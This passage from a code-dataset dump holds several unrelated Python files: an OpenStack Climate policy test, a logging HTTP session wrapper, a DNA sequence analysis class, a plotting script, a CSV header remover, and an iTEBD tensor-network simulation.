\"@\",\n            \"example:my_file\": \"role:admin or \\\n                               project_id:%(project_id)s\"\n        }\n        \"\"\"\n\n        self.default_rule = None\n        policy.reset()\n        self.read_cached_file.return_value = (True, self.rules)\n        self.context = context.ClimateContext(user_id='fake',\n                                              project_id='fake',\n                                              roles=['member'])\n\n    def _set_rules(self, default_rule):\n        self.default_rule = default_rule\n        policy.set_rules(self.rules, default_rule)\n\n    def test_policy_called(self):\n        self.assertRaises(exceptions.PolicyNotAuthorized, policy.enforce,\n                          self.context, \"example:exist\", {})\n\n    def test_not_found_policy_calls_default(self):\n        result = policy.enforce(self.context, \"example:noexist\", {}, False)\n        self.assertEqual(result, True)\n\n    def test_default_not_found(self):\n        self._set_rules(\"default_noexist\")\n        self.assertRaises(exceptions.PolicyNotAuthorized, policy.enforce,\n                          self.context, \"example:noexist\", {})\n\n    def test_enforce_good_action(self):\n        action = \"example:allowed\"\n        result = policy.enforce(self.context, action, {}, False)\n        self.assertEqual(result, True)\n\n    def test_templatized_enforcement(self):\n        target_mine = {'project_id': 'fake'}\n        target_not_mine = {'project_id': 'another'}\n        action = \"example:my_file\"\n        policy.enforce(self.context, action, target_mine)\n        self.assertRaises(exceptions.PolicyNotAuthorized, policy.enforce,\n                          self.context, action, target_not_mine)\n\n\nclass ClimatePolicyTestCase(tests.TestCase):\n\n    def setUp(self):\n        super(ClimatePolicyTestCase, self).setUp()\n\n        self.context = context.ClimateContext(user_id='fake',\n                                              project_id='fake',\n                                              roles=['member'])\n\n    def test_standardpolicy(self):\n        target_good = {'user_id': self.context.user_id,\n                       'project_id': self.context.project_id}\n        target_wrong = {'user_id': self.context.user_id,\n                        'project_id': 'bad_project'}\n        action = \"climate:leases\"\n        self.assertEqual(True, policy.enforce(self.context, action,\n                                              target_good))\n        self.assertEqual(False, policy.enforce(self.context, action,\n                                               target_wrong, False))\n\n    def test_adminpolicy(self):\n        target = {'user_id': self.context.user_id,\n                  'project_id': self.context.project_id}\n        action = \"climate:oshosts\"\n        self.assertRaises(exceptions.PolicyNotAuthorized, policy.enforce,\n                          self.context, action, target)\n\n    def test_elevatedpolicy(self):\n        target = {'user_id': self.context.user_id,\n                  'project_id': self.context.project_id}\n        action = \"climate:oshosts\"\n        self.assertRaises(exceptions.PolicyNotAuthorized, policy.enforce,\n                          self.context, action, target)\n        elevated_context = self.context.elevated()\n        self.assertEqual(True,\n                         policy.enforce(elevated_context, action, target))\n\n    def test_authorize(self):\n\n        @policy.authorize('leases', ctx=self.context)\n        def user_method(self):\n            return True\n\n        @policy.authorize('leases', 'get', ctx=self.context)\n        def user_method_with_action(self):\n            return True\n\n        @policy.authorize('oshosts', ctx=self.context)\n        def adminonly_method(self):\n            return True\n\n        self.assertEqual(True, user_method(self))\n        self.assertEqual(True, user_method_with_action(self))\n        try:\n            adminonly_method(self)\n            self.assertTrue(False)\n        except exceptions.PolicyNotAuthorized:\n            # We are expecting this exception\n            self.assertTrue(True)\n","sub_path":"climate/tests/test_policy.py","file_name":"test_policy.py","file_ext":"py","file_size_in_byte":5068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"519139807","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport json\nimport logging\nfrom urllib.parse import urljoin\n\nimport curlify\nfrom requests import Session\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass RemoteApiSession(Session):\n    __attrs__ = Session.__attrs__ + ['_base_url', '_prefix']\n\n    def __init__(self, base_url: str, *, prefix: str = None):\n        super(RemoteApiSession, self).__init__()\n\n        self._base_url = base_url\n        self._prefix = prefix\n\n    def __repr__(self):\n        return f'{self.__class__.__name__}({self.url})'\n\n    @property\n    def base_url(self):\n        return self._base_url\n\n    @property\n    def prefix(self):\n        return self._prefix\n\n    @property\n    def url(self):\n        if self.prefix:\n            return urljoin(self._base_url, self._prefix)\n\n        return self._base_url\n\n    def _build_url(self, url_path: str):\n        if self._prefix:\n            slash_in_the_end = url_path.endswith('/')\n            url_path = os.path.join(self._prefix, re.sub('^/|/$', '', url_path))\n\n            if slash_in_the_end:\n                url_path += '/'\n\n        return urljoin(self._base_url, url_path)\n\n    def request(self, method: str, url_path: str, **kwargs):\n        url = self._build_url(url_path)\n        logger.info(f'Performing \"{method}\" request to \"{url}\"')\n\n        if kwargs:\n            for k, v in kwargs.items():\n                if v is not None:\n                    message = json.dumps(v, ensure_ascii=False, indent=4)\n                    logger.info(f'Request param \"{k}\": {message}')\n\n        resp = super(RemoteApiSession, self).request(method, url, **kwargs)\n        logger.info(curlify.to_curl(resp.request))\n        logger.info(f'Response status code is \"{resp.status_code}\"')\n\n        try:\n            message = json.dumps(resp.json(), ensure_ascii=False, indent=4)\n            logger.info('\\n' + message)\n        except ValueError:\n            logger.info('\\n' + resp.text)\n\n        headers = json.dumps({k: v for k, v in resp.headers.items()})\n        logger.info(f'Headers: {headers}')\n\n        total_seconds = resp.elapsed.total_seconds()\n        logger.info(f'Response time is \"{total_seconds}\" seconds')\n\n        return resp\n","sub_path":"reqtools/sessions.py","file_name":"sessions.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"271759289","text":"from bio_structures import DNA_Codons, RNA_Codons, NUCLEOTIDE_BASE\nimport random\nfrom typing import Counter, Mapping, OrderedDict \n\nclass bio_seq:\n    \"\"\"DNA sequence class. Default value: ATCG, DNA, No label\"\"\"\n\n    def __init__(self, seq=\"ATCG\", seq_type=\"DNA\", label=\"No label\"):\n        \"\"\"Sequence initialization, validation\"\"\"\n        self.seq = seq.upper()\n        self.label = label\n        self.seq_type = seq_type\n        self.is_valid = self.__validate()\n        assert self.is_valid, f\"Provided data does not seem to be a correct {self.seq_type} sequence\"\n\n    def __validate(self):\n        \"\"\"Check the sequence to make sure it is a valid DNA string\"\"\"\n        return set(NUCLEOTIDE_BASE[self.seq_type]).issuperset(self.seq)\n\n    def get_seq_biotype(self):\n        \"\"\"Return sequence type\"\"\"\n        return self.seq_type\n\n    def get_seq_info(self):\n        \"\"\"Returns 4 strings. Full sequence information\"\"\"\n        return f\"[Label]: {self.label}\\n[Sequence]: {self.seq}\\n[Biotype]: {self.seq_type}\\n[Length]: {len(self.seq)}\" \n\n    def generate_rnd_seq(self, length=10, seq_type=\"DNA\"):\n        \"\"\"Generate a random DNA sequence, provided the length\"\"\"\n        seq = ''.join([random.choice(NUCLEOTIDE_BASE[seq_type])\n                        for x in range(length)])\n        self.__init__(seq, seq_type, \"Randomly generated sequence\")\n\n    def nucleotide_frequency(self):\n        \"\"\"Returns a dictionary with each nucleotide count\"\"\"\n        return dict(Counter(self.seq))\n    \n    def transcription(self):\n        \"\"\"DNA -> RNA Transcription\"\"\"\n        if self.seq_type == \"DNA\":\n            return self.seq.replace(\"T\", \"U\")\n        return \"Not a DNA sequence\"\n\n    def reverse_complement(self):\n        \"\"\"Returns the reverse complement of the DNA sequence\"\"\"\n        if self.seq_type == \"DNA\":\n            mapping = str.maketrans(\"ATCG\", \"TAGC\")\n        else:\n            mapping = str.maketrans(\"AUCG\", \"UAGC\")\n        return self.seq.translate(mapping)[::-1]\n\n    def gc_content(self):\n        \"\"\"GC Content in a DNA/RNA sequence\"\"\"\n        return round((self.seq.count('C') + self.seq.count('G')) / len(self.seq) * 100)\n    \n    def gc_content_subsec(self, k=20):\n        \"\"\"GC Content in a DNA/RNA sub-sequence length k. k=20 by default\"\"\"\n        res = []\n        for i in range(0, len(self.seq) - k + 1, k):\n            subseq = self.seq[i: i + k]\n            res.append(round((subseq.count('C') + subseq.count('G')) / len(subseq) * 100))\n        return res\n    \n    def translate_seq(self, init_pos=0):\n        \"\"\"Translate  a DNA sequence into an aminoacid sequence\"\"\"\n        if self.seq_type == \"DNA\":\n            codons = DNA_Codons\n        else:\n            codons = RNA_Codons\n        return [codons[self.seq[pos: pos + 3]] for pos in range(init_pos, len(self.seq) - 2, 3)]\n    \n    def condon_usage(self, aminoacid):\n        \"\"\"Provides the frequency of each condon encoding a given aminoacid in a DNA sequence\"\"\"\n        if self.seq_type == \"DNA\":\n            codons = DNA_Codons\n        else:\n            codons = RNA_Codons\n        tmpList = []\n        for i in range(0, len(self.seq) - 2, 3):\n            if codons[self.seq[i: i + 3]] == aminoacid:\n                tmpList.append(self.seq[i: i + 3])\n\n        freqDict = dict(Counter(tmpList))\n        totalWight = sum(freqDict.values())\n        for c in freqDict:\n            freqDict[c] = round(freqDict[c] / totalWight, 2)\n        return freqDict\n\n    def gen_reading_frames(self):\n        \"\"\"Generate the six reading frames of a DNA sequence, including the reverse complement\"\"\"\n        frames = []\n        frames.append(self.translate_seq(init_pos=0))\n        frames.append(self.translate_seq(init_pos=1))\n        frames.append(self.translate_seq(init_pos=2))\n\n        tmp_reverse_seq = bio_seq(self.reverse_complement(), self.seq_type)\n        frames.append(tmp_reverse_seq.translate_seq(init_pos=0))\n        frames.append(tmp_reverse_seq.translate_seq(init_pos=1))\n        frames.append(tmp_reverse_seq.translate_seq(init_pos=2))\n        del tmp_reverse_seq\n\n        return frames\n\n    def proteins_from_rf(self, aa_seq):\n        \"\"\"Compute all possible proteins in an aminoacid seq and return a list of possible proteins\"\"\"\n        current_prot = []\n        proteins = []\n        for aa in aa_seq:\n            if aa == \"_\":\n                #STOP accumulating aminoacids if _ - STOP was found\n                if current_prot:\n                    for p in current_prot:\n                        proteins.append(p)\n                    current_prot = []\n            else:\n                # START accumulating amino acids if M - START was found\n                if aa == \"M\":\n                    current_prot.append(\"\")\n                for i in range(len(current_prot)):\n                    current_prot[i] += aa\n        return proteins\n\n    def all_proteins_from_orfs(self, startReadPos=0, endReadPos=0, ordered=False):\n        \"\"\"Compute all possible proteins for all open reading frames\"\"\"\n        \"\"\"Protein Seach DB: https://www.ncbi.nlm.nih.gov/nuccore/NM_001185097.2\"\"\"\n        \"\"\"API can be used to pull protein info\"\"\"\n        if endReadPos > startReadPos:\n            tmp_seq = bio_seq(self.seq[startReadPos: endReadPos], self.seq_type)\n            rfs = tmp_seq.gen_reading_frames()\n        else:\n            rfs = self.gen_reading_frames()\n        \n        res = []\n        for rf in rfs:\n            prots = self.proteins_from_rf(rf)\n            for p in prots:\n                res.append(p)\n\n        if ordered:\n            return sorted(res, key=len, reverse=True)\n        return res","sub_path":"bio_seq.py","file_name":"bio_seq.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"532511231","text":"# -*- coding: utf-8 -*-\n\n\n\n#@author: maout\n\n\n\nimport pickle\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\n\n##load non path cost data\n\nimport pandas as pd\n\nN = 1000\nrhos = [-0.25, -0.5, -0.75, 0.25, 0.5, 0.75]\nalldfs = dict()\nfor rho in rhos:\n\n    file_name = 'evolutionary_gaussian\\\\Gaussian_evoltionary_Data_Frame_rho_%.2f_N_%d.dat'%(rho,N)\n    alldfs[rho]= pd.read_pickle(file_name)\n    \n    \n    \n    \n    \n    \n    \n    \n#%%\n\n\nplt.rcParams['text.usetex'] = True\nplt.rcParams['figure.dpi'] = 300\nplt.rcParams['savefig.dpi'] = 300\nplt.rcParams['savefig.facecolor'] = (1,1,1,0)\nplt.rcParams['savefig.bbox'] = \"tight\"\nplt.rcParams['font.size'] = 10*1.2\n# plt.rcParams['font.family'] = 'sans-serif'     # not available in Colab\n# plt.rcParams['font.sans-serif'] = 'Helvetica'  # not available in Colab\nplt.rcParams['pdf.fonttype'] = 42\nplt.rcParams['xtick.labelsize'] = 10*1.2\nplt.rcParams['ytick.labelsize'] = 10*1.2\nplt.rcParams['axes.labelsize'] = 12*1.2\nplt.rcParams['axes.linewidth'] = 1.5\nplt.rcParams['axes.spines.top'] = True#False\nplt.rcParams['axes.spines.right'] = True#False\n#plt.rcParams['axes.Axes.tick_params'] = True\n#plt.rcParams['axes.solid_capstyle'] = 'round'\nplt.rc('axes',edgecolor='#4f4949')\nplt.rcParams['figure.frameon'] = False\nplt.rcParams['figure.subplot.hspace'] = 0.51\nplt.rcParams['figure.subplot.wspace'] = 0.51\nplt.rcParams['figure.subplot.left'] = 0.1\nplt.rcParams['figure.subplot.right'] = 0.9\nplt.rcParams['figure.subplot.top'] = 0.9\nplt.rcParams['figure.subplot.bottom'] = 0.1\nplt.rcParams['lines.solid_capstyle'] = 'round'\nplt.rcParams['lines.solid_joinstyle'] = 'round'\n#plt.rcParams['xtick.major.size'] = 20\n#plt.rcParams['xtick.major.width'] = 4\n\nplt.rcParams['xtick.major.size'] = 3.\nplt.rcParams['ytick.major.size'] = 3.\nplt.rcParams['xtick.minor.size'] = 1.5\nplt.rcParams['ytick.minor.size'] = 1.5\n\n\n\n#%%\n\n\ncols = plt.cm.BuPu_r\n\ncol1 = cols(0.1)\ncol2 = cols(0.9)\n\nwhich = ['control', 'err', 'path error' ]\n\nfor one in range(0,3):\n    plt.figure(figsize=(7, 3.5),dpi=300)\n    for i in range(6):\n        plt.subplot(2, 3,i+1)\n        rho = rhos[i]\n        \n        sns.pointplot(x=\"model\", y=which[one], hue=\"constr\",\n                  data=alldfs[rho], dodge=.132, join=True, palette=\"BuPu_r\",\n                  markers=\"o\", scale=.75, ci= 'sd' )\n        #plt.title(rho)\n        if one==0:\n            plt.ylim(10, 10800)\n        elif  one==1:\n            plt.ylim(0, 0.2)\n        elif one==2:\n            plt.ylim(0, 0.151)\n                \n            \n        ax = plt.gca()\n        labels = [item.get_text() for item in ax.get_xticklabels()]\n        labels[0] = 'cor'\n        labels[1] = 'mis'\n        ax.set_xticklabels(labels)\n        ax.ticklabel_format(style='sci',axis='y',scilimits=(1,4))\n        #ax.yaxis.major.formatter._useMathText = True\n        if i<3:\n            ax.set_xlabel('')\n        else:\n            ax.set_xlabel(r'model')\n        if i in [1,2,4,5]:\n            ax.set_ylabel('')\n        else:\n            if one==0:\n                \n                ax.set_ylabel('control\\n$ \\\\| u(x,t) \\\\|_2^2$', multialignment='center')\n            elif one==1:\n                \n                ax.set_ylabel('terminal error\\n$ (x^*- X_T)^2$', multialignment='center')\n            elif one==2:\n               \n               ax.set_ylabel('path error\\n$\\int( X_t - y^*)^2 dt$', multialignment='center')\n        if i<3:\n            if one == 0:\n                ax.text(x=0.5,y=28, s=r'$\\rho_{xy}=%.2f$'%rho,\n                        color='grey', size=12, \n                        horizontalalignment='center', verticalalignment='center',\n                        weight='bold')\n            elif one == 1:\n                ax.text(x=0.5,y=0.175, s=r'$\\rho_{xy}=%.2f$'%rho,\n                        color='grey', size=12, \n                        horizontalalignment='center', verticalalignment='center',\n                        weight='bold')\n            elif one == 2:\n                ax.text(x=0.5,y=0.12, s=r'$\\rho_{xy}=%.2f$'%rho,\n                        color='grey', size=12, \n                        horizontalalignment='center', verticalalignment='center',\n                        weight='bold')\n            \n        else:\n            if one == 0:\n                ax.text(x=0.5,y=28, s=r'$\\rho_{xy}=%.2f$'%rho,\n                        color='grey', size=12, \n                        horizontalalignment='center', verticalalignment='center',\n                        weight='bold')\n            elif one == 1:\n                ax.text(x=0.5,y=0.175, s=r'$\\rho_{xy}=%.2f$'%rho,\n                        color='grey', size=12, \n                        horizontalalignment='center', verticalalignment='center',\n                        weight='bold')\n            elif one == 2:\n                ax.text(x=0.5,y=0.12, s=r'$\\rho_{xy}=%.2f$'%rho,\n                        color='grey', size=12, \n                        horizontalalignment='center', verticalalignment='center',\n                        weight='bold')\n                \n        handles, labels = ax.get_legend_handles_labels()\n        labels[0] = 'end'\n        labels[1] = 'path'\n        if i != 3:\n            \n            legend = ax.legend()\n            legend.remove()\n        else:\n            leg3 = ax.legend(handles, labels, title='constraints',\n                             handletextpad=0.5, columnspacing=3.2,\n                             handlelength=0.8, bbox_to_anchor=[3.85, 1.355],\n                             loc=2, ncol=1, frameon=True,fontsize = 'small',\n                             shadow=None,framealpha =0,edgecolor ='#0a0a0a')\n            for text in leg3.get_texts():\n                text.set_color('#4f4949')\n            plt.setp(leg3.get_title(),fontsize='small', color='#4f4949')\n            \n        #plt.yscale('log')\n        if one == 0:\n            plt.yscale('log')\n        \n        ax.tick_params(axis=\"both\",direction=\"in\", bottom=True, left=True,top=True, right=True,color='#4f4949')\n        \n        #ax.yaxis.set_minor_locator(tck.AutoMinorLocator())\n        #ax.xaxis.set_minor_locator(tck.AutoMinorLocator())\n        ax.tick_params(axis=\"both\", which='minor',direction=\"in\", bottom=True, left=True, top=True, right=True,color='#4f4949')\n        \n        \n        \n        ax.spines['bottom'].set_color('#4f4949')\n        ax.spines['top'].set_color('#4f4949')\n        ax.xaxis.label.set_color('#4f4949')\n        ax.tick_params(axis='x', colors='#4f4949')\n        \n        ax.yaxis.label.set_color('#4f4949')\n        ax.tick_params(axis='y', colors='#4f4949')       \n        plt.tick_params(axis='y', which='major',color='#4f4949')#, labelsize=16) \n        plt.tick_params(axis='x', which='major',color='#4f4949')\n            \n                    \n    plt.subplots_adjust(left=0.12, bottom=None, right=0.85, top=None,\n                    wspace=0.45, hspace=0.3)\n\n    plt.savefig('Gaussian_evolitionary'+which[one]+'.png', bbox_inches='tight',dpi=300 , pad_inches = 0.1)\n    plt.savefig('Gaussian_evolitionary'+which[one]+'.pdf', bbox_inches='tight',dpi=300,  pad_inches = 0.1)\n","sub_path":"DeterministicParticleFlowControl/data/scripts_for_plots/evolutionary_process/plot_misspecified_evolutionary.py","file_name":"plot_misspecified_evolutionary.py","file_ext":"py","file_size_in_byte":7056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"39555212","text":"#! python3\n# Chapter 14 - Read all csv files in the current directory and remove the header row\n\nimport csv, os\n\nos.makedirs('headerRemoved', exist_ok=True)\n\n# Loop through every file in the directory searching for csvs\nfor csvFilename in os.listdir('.'):\n    if not csvFilename.endswith('.csv'):\n        continue    # Skip non .csv files\n\n    print(\"Removing header from %s\" % csvFilename + \"...\")\n    # Read the csv file in skipping the first row\n    csvRows = []\n    csvFileObj = open(csvFilename)\n    csvReader = csv.reader(csvFileObj)\n    for row in csvReader:\n        if csvReader.line_num == 1:\n            continue    # Skip the first header row\n        csvRows.append(row)\n    csvFileObj.close()\n\n    # Write out the csv file\n    csvFileObj = open(os.path.join(\"headerRemoved\", csvFilename), 'w', newline=\"\")\n    csvWriter = csv.writer(csvFileObj)\n    for row in csvRows:\n        csvWriter.writerow(row)\n    csvFileObj.close()\n\nprint(\"Done.\")","sub_path":"Chapter 14/CsvTestFiles/RemoveCsvHeader.py","file_name":"RemoveCsvHeader.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"492939626","text":"from __future__ import division, print_function\nimport numpy as np\nimport scipy.linalg as spl\nfrom copy import deepcopy\nimport warnings\nwarnings.simplefilter('always', UserWarning)\nfrom ..tools import profile, importCode, fileio, log # , debug\nfrom ..tools.containers import OrderedDict, defaultdict, MemoDict\nfrom ..contract import ncon\nfrom ..ed.perturb import entanglement_spec_plot, energy_spec_plot, fidelity_plot, correlation_plot\nfrom . import imps2\n\ndef tebd_step(stack, h, gA, lA, gB, lB, p, chi):\n    Block_Gamma = imps2.block(stack, gA, lA, gB)\n    Block, axes = ncon.ncon(stack, [h, Block_Gamma],\n                            [[0, -1], [-1, 1, 2]])\n    gA_new, lA_new, gB_new, lB_new, norm = imps2.canonical_form(stack, Block, lB, p, chi, return_norm=True)\n\n    return gA_new, lA_new, gB_new, lB_new, norm\n\n@importCode.makescript(None, 'tebdf', False)\ndef tebd_step_func(p, chi, timer=False, debugger=False):\n    stack = ncon.ab_stack({'h':[p**2, p**2],\n                           'gA':[p, chi, chi], 'lA':[chi, chi],\n                           'gB':[p, chi, chi], 'lB':[chi, chi]})\n    stack.protected_names = ['p', 'chi']\n    h, gA, lA, gB, lB = 'h', 'gA', 'lA', 'gB', 'lB'\n    gA, lA, gB, lB, norm = tebd_step(stack, h, gA, lA, gB, lB, p, chi)\n    stack.exports=[gA, lA, gB, lB, norm]\n    stack.compile()\n    code =stack.code(func_name='tebdf', params=['p', 'chi'], timer=timer, debugger=debugger)\n    return code\n\ndef compute_ev(h, gA, lA, gB, lB,  evf, evf2=None, norm=None):\n    \"\"\"\n    when the A and B bonds have different dimensions,\n    and when the functions evf has specific assumptions about the bond dimensions,\n    use evf and evf2 to compute the different cases\n    :param evf:\n    :param evf2:\n    :return:\n    \"\"\"\n    if evf2 is None:\n        evf2 = evf\n\n    if norm is None:\n        Id = np.eye(h.shape[0])\n        norm = 1/2*(evf(h=Id, gA=gA, lA=lA, gB=gB, lB=lB)+evf2(h=Id, gA=gB, lA=lB, gB=gA, lB=lA))\n\n    evf_h = 1/2*(evf(h=h, gA=gA, lA=lA, gB=gB, lB=lB)+evf2(h=h, gA=gB, lA=lB, gB=gA, lB=lA))\n\n    ev = np.real(evf_h/norm)\n    return ev\n\ndef effective_energy(tau, norm_a, norm_b):\n    \"\"\"\n    norm = < exp(-2 H tau) > = exp( -2 <H_eff> tau )\n    If tebd has converged for a given tau,\n     the effective energy given below is the energy of the effective hamiltonian which is off by the correct hamiltonian\n      by the trotter error.\n    :return:\n    \"\"\"\n    eff_energy_a = -1/(2*tau)*np.log(norm_a)\n    eff_energy_b = -1/(2*tau)*np.log(norm_b)\n    return 1/2*(eff_energy_a+eff_energy_b)\n\n    #    EEA = sum(-np.real(x)*np.log2(np.real(x)) for x in np.diag(lA) if np.real(x)>0)\n    #\n    #if log:\n    #    fileio.log('', log, energy=energy)#, rel_var=rel_var)\n    #collect(energy=energy, variance=energy_variance)\n\ndef tr2(l):\n    return np.trace(np.dot(np.conj(l), l), axis1=0, axis2=1)\n\ndef entropy(es):\n    return sum(-e*np.log2(e) for e in es)\n\ndef truncate(gA, lA, gB, lB, bond_dim):\n    truncated = np.hstack((np.diag(lA)[bond_dim:], np.diag(lB)[bond_dim:]))\n    error = np.dot(truncated, truncated) #lA^2 are schmidt eigenvalues, so sum of truncated schmidt eigenvalues\n    gA = gA[:, :bond_dim, :bond_dim]\n    lA = lA[:bond_dim, :bond_dim]\n    gB = gB[:, :bond_dim, :bond_dim]\n    lB = lB[:bond_dim, :bond_dim]\n    return gA, lA, gB, lB, error\n\ndef pad(gA, lA, gB, lB, chi):\n    p, chi0, _ = gA.shape\n    extension = np.array([np.pad(np.eye(chi0),((chi-chi0, 0), (chi-chi0, 0)), mode='constant') for q in xrange(p)])\n    gA = np.pad(gA, ((0, 0), (0, chi-chi0), (0, chi-chi0)), mode='constant')+extension\n    gB = np.pad(gB, ((0, 0), (0, chi-chi0), (0, chi-chi0)), mode='constant')+extension\n    lA = np.pad(lA, ((0, chi-chi0), (0, chi-chi0)), mode='constant')\n    lB = np.pad(lB, ((0, chi-chi0), (0, chi-chi0)), mode='constant')\n    return gA, lA, gB, lB\n\ndef collect(store=defaultdict(list), returnvals=False, deletevals=False, logitems=False, **kwargs):\n    if logitems:\n        logitems(logging.to_string(**kwargs))\n    for k in kwargs:\n        store[k].append(kwargs[k])\n    if returnvals:\n        copy = deepcopy(store)\n    if deletevals:\n        store.clear()\n    if returnvals:\n        return copy\n\n# noinspection PyUnresolvedReferences\ndef get_from_store(k, item):\n    return collect.func_defaults[0][k][item]\n\n#profiler = profile.LineProfiler()\n\n@profile.returntime\ndef itebd(h, p, chi, gA, lA, gB, lB, taus=tuple(10**(-i) for i in range(8)),\n          strategy='es', tol=1e-8,\n          log=lambda x: print(x)):\n    #print spl.eigvalsh(h)\n    exphts = MemoDict(lambda t:spl.expm(-1*t*h))\n    # for debugging purposes\n    #exphts = MemoDict(lambda t:np.eye(p**2))\n\n    #tebdf = tebdstep2.tebdf(p, chi)\n    tebdf = tebd_step_func(p, chi)\n    #profiler.add_function(tebdf)\n    #profiler.enable_by_count()\n\n    # profiler = profile.LineProfiler()\n    # profiler.add_function(tebdf)\n    # profiler.enable_by_count()\n\n    cf = imps2.canonical_form_func(p, chi, chi, True)\n    evf = imps2.ev_func(p, chi)\n    #evf2 = imps2.ev_func(p, chi, p*chi)\n    #evf3 = imps2.ev_func(p, p*chi, chi)\n\n    log('init')\n    #collect(energy=compute_ev(h, gA, lA, gB, lB, evf, norm=1), logitems=log)\n    step_num = 0\n    finalconverged=False\n\n    for tau in taus:\n        if finalconverged:\n            log('final converged')\n            break\n        log('decreased step size to: {0} at step: {1}'.format(tau, step_num))\n        expht = exphts[tau]\n        expht2 = exphts[tau/2]\n        currenttau_stepnum=0\n        converged=False\n\n        while not converged:\n            #A step 1\n            gA, lA, gB, lB, norm1 = tebdf(h=expht2, gA=gA, lA=lA, gB=gB, lB=lB)\n            # 'renormalization'\n            gA = gA/np.sqrt(np.sqrt(norm1))\n            gB = gB/np.sqrt(np.sqrt(norm1))\n            # 'truncation'\n            gA, lA, gB, lB, error= truncate(gA, lA, gB, lB,chi)\n            #B step\n            gB, lB, gA, lA, norm2 = tebdf(h=expht, gA=gB, lA=lB, gB=gA, lB=lA)\n            # 'renormalization'\n            gA = gA/np.sqrt(np.sqrt(norm2))\n            gB = gB/np.sqrt(np.sqrt(norm2))\n            # 'truncation'\n            gA, lA, gB, lB, error= truncate(gA, lA, gB, lB,chi)\n            #A step 2\n            gA, lA, gB, lB, norm3 = tebdf(h=expht2, gA=gA, lA=lA, gB=gB, lB=lB)\n            # 'renormalization'\n            gA = gA/np.sqrt(np.sqrt(norm3))\n            gB = gB/np.sqrt(np.sqrt(norm3))\n            #logic\n            step_num+=1\n            currenttau_stepnum+=1\n            #exact computations\n            #energy = compute_ev(h, gA, lA, gB, lB, evf2, evf3, norm=1)\n            #collect(step=step_num, energy=energy, lA=np.diag(lA), lB=np.diag(lB), logitems=log)\n            # 'truncation'\n            gA, lA, gB, lB, error = truncate(gA, lA, gB, lB,chi)\n            collect(error=error, tau=tau)\n            #computations\n            #canonicalize after truncating\n            # gA, lA, gB, lB, normc = cf(gA=gA, lA=lA, gB=gB, lB=lB)\n            # energy = compute_ev(h, gA, lA, gB, lB, evf, norm=normc)\n            # collect(step=step_num, energy=energy, lA=np.diag(lA), lB=np.diag(lB), logitems=log)\n\n            #dont canonicalize after truncating\n            gAc, lAc, gBc, lBc, normc = cf(gA=gA, lA=lA, gB=gB, lB=lB)\n            energy = compute_ev(h, gAc, lAc, gBc, lBc, evf, norm=normc)\n            collect(step=step_num, energy=energy, lA=np.diag(lAc), lB=np.diag(lBc), logitems=log)\n            #collect(step=step_num, lA=np.diag(lA), lB=np.diag(lB), logitems=log)\n\n            #check for convergence\n            if strategy=='quick':\n                if currenttau_stepnum==20:\n                    converged=True\n\n            elif strategy=='error':\n                E1, E2 = get_from_store('energy', slice(-2, None))\n                error = get_from_store('error', -1)\n                if currenttau_stepnum>=10:\n                    if np.isclose(E1, E2, atol=tol, rtol=error):\n                        converged = True\n\n            elif strategy=='es':\n                if step_num>1:\n                    lA1, lA2 = get_from_store('lA', slice(-2, None))\n                    change = np.sqrt(np.dot(lA1-lA2,lA1-lA2))\n                    collect(change=change)\n                    if np.isclose(change, 0, atol=tol):\n                        converged=True\n                    elif currenttau_stepnum>=10000:\n                        warnings.warn('Reached max steps with step size {}'.format(tau))\n                        converged=True\n\n    data = collect(returnvals=True, deletevals=True)\n    data['final_tensors'] = dict(gA=gA, lA=lA, gB=gB, lB=lB)\n    #profiler.print_stats()\n    return data\n\n\ndef itebd_scan(h0, h1, p, chi, gA, lA, gB, lB, coefficient_values, name,\n               log=lambda x, q, fn: None if q else print(x), exactEnergies=None,\n               **tebd_args):\n    #compare to ed.run.diagH\n\n    loudlog = lambda x: log(x, 0, name+'/results.txt')\n    quietlog = lambda x: log(x, 1, name+'/log.txt')\n\n    for j, c in enumerate(coefficient_values):\n        h = (1-c)*h0+c*h1\n        try:\n            data, time = itebd(h, p, chi, gA, lA, gB, lB, log=quietlog, **tebd_args)\n        except AssertionError:\n            loudlog('itebd failed for c={}'.format(c))\n            raise\n        else:\n            data['coefficient'] = c\n            if exactEnergies is not None:\n                data['exactEnergy'] = exactEnergies[j]\n            fileio.dump(data, name+'/simdata{}'.format(j))\n            results = dict(c=c, chi=chi, n='\\n',\n                                  E = data['energy'][-1],\n                                  es = np.array(data['lA'][-1])**2,\n                                  time=time,\n                                  steps=len(data['tau']),\n                                  gA = data['final_tensors']['gA'],\n                                  lA = data['final_tensors']['lA'],\n                                  gB = data['final_tensors']['gB'],\n                                  lB = data['final_tensors']['lB'],\n                                  )\n            loudlog(logging.dict_to_string(results, keys=['c', 'E', 'n', 'chi', 'steps', 'time', 'es']))\n            fileio.dump(results, name+'/results{}'.format(j))\n\n# noinspection PyUnresolvedReferences\n@profile.timed\ndef go(config='config'):\n    \"\"\"\n    to be run in a folder with the following files:\n    __init__.py (can be blank or absent)\n    config.py (defining unitcell, L, symtype, open_bc, sectors)\n    ham0.py (defining the nearest neighbor unperturbed hamiltonian term h,\n             which can depend on the variables in config if import config is used and __init__.py exists in folder,\n             where the whole H = sum_i  h_(i, i+1)).\n    ham1.py defining one or several perturbing hamiltonian terms as h1, which can be a dict\n            from names of terms to terms or just a single term\n\n    :return:\n    \"\"\"\n    config = fileio.import_from_path(config)\n    #fileio.add_to_path()\n    #config = fileio.import_module(config)\n\n    if type(config.h1) is dict:\n        for perturbation_name, perturbation in config.h1.iteritems():\n            name = fileio.folderjoin(config.name, perturbation_name)\n            fileio.mkdirs(name)\n            itebd_scan(config.h0, perturbation,\n               config.p, config.chi,\n               config.gA, config.lA, config.gB, config.lB,\n               config.coefficient_values,\n               name, **config.tebd_args)\n    else:\n        name = config.name\n        fileio.mkdirs(name)\n        itebd_scan(config.h0, config.h1,\n               config.p, 